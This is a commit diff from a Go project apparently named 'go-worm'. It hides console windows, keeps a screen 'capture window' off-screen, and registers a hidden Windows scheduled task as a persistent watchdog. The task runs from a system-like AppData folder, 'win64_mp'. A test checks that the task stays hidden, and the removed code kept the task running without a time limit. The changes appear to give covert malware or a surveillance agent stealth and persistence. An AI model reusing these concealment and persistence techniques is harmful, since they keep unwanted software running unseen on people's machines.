fix(windows): prevent console window flash

- Centralize hidden-process setup per OS
- Hide console early to avoid startup flash
- Keep capture window off-screen and hidden
- Enable unified scheduler for watchdog task
- Force GUI subsystem in build script

lib/startup/taskxml.go

@@ -31,6 +31,7 @@ func watchdogTaskXML(exe string) string {
 	b.WriteString(`<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>`)
 	b.WriteString(`<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>`)
 	b.WriteString(`<Hidden>true</Hidden>`)
+	b.WriteString(`<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>`)
 	b.WriteString(`<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>`)
 	b.WriteString(`<AllowStartOnDemand>true</AllowStartOnDemand>`)
 	b.WriteString(`<Enabled>true</Enabled>`)

lib/startup/taskxml_test.go

@@ -22,8 +22,11 @@ func TestWatchdogTaskXMLSeparatesCommandAndArgs(t *testing.T) {
 	if !strings.Contains(xml, "<WorkingDirectory>C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp</WorkingDirectory>") {
 		t.Fatalf("WorkingDirectory missing:\n%s", xml)
 	}
-	if !strings.Contains(xml, "<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>") {
-		t.Fatalf("execution time limit must be unlimited so -ensure can stay as the agent")
+	if !strings.Contains(xml, "<Hidden>true</Hidden>") {
+		t.Fatalf("task must be hidden:\n%s", xml)
+	}
+	if !strings.Contains(xml, "<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>") {
+		t.Fatalf("unified scheduler missing:\n%s", xml)
 	}
 }
 

lib/startup/watchdog.go

@@ -7,12 +7,10 @@ import (
 	"os"
 	"os/exec"
 	"strings"
-	"syscall"
 	"unicode/utf16"
 
-	"golang.org/x/sys/windows"
-
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
 )
 
 func enableWatchdog() error {
@@ -45,7 +43,7 @@ func disableWatchdog() error {
 
 func runSchtasks(args ...string) error {
 	cmd := exec.Command("schtasks", args...)
-	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
+	cmd.SysProcAttr = helpers.HiddenSysProcAttr()
 	out, err := cmd.CombinedOutput()
 	if err != nil {
 		msg := strings.TrimSpace(string(out))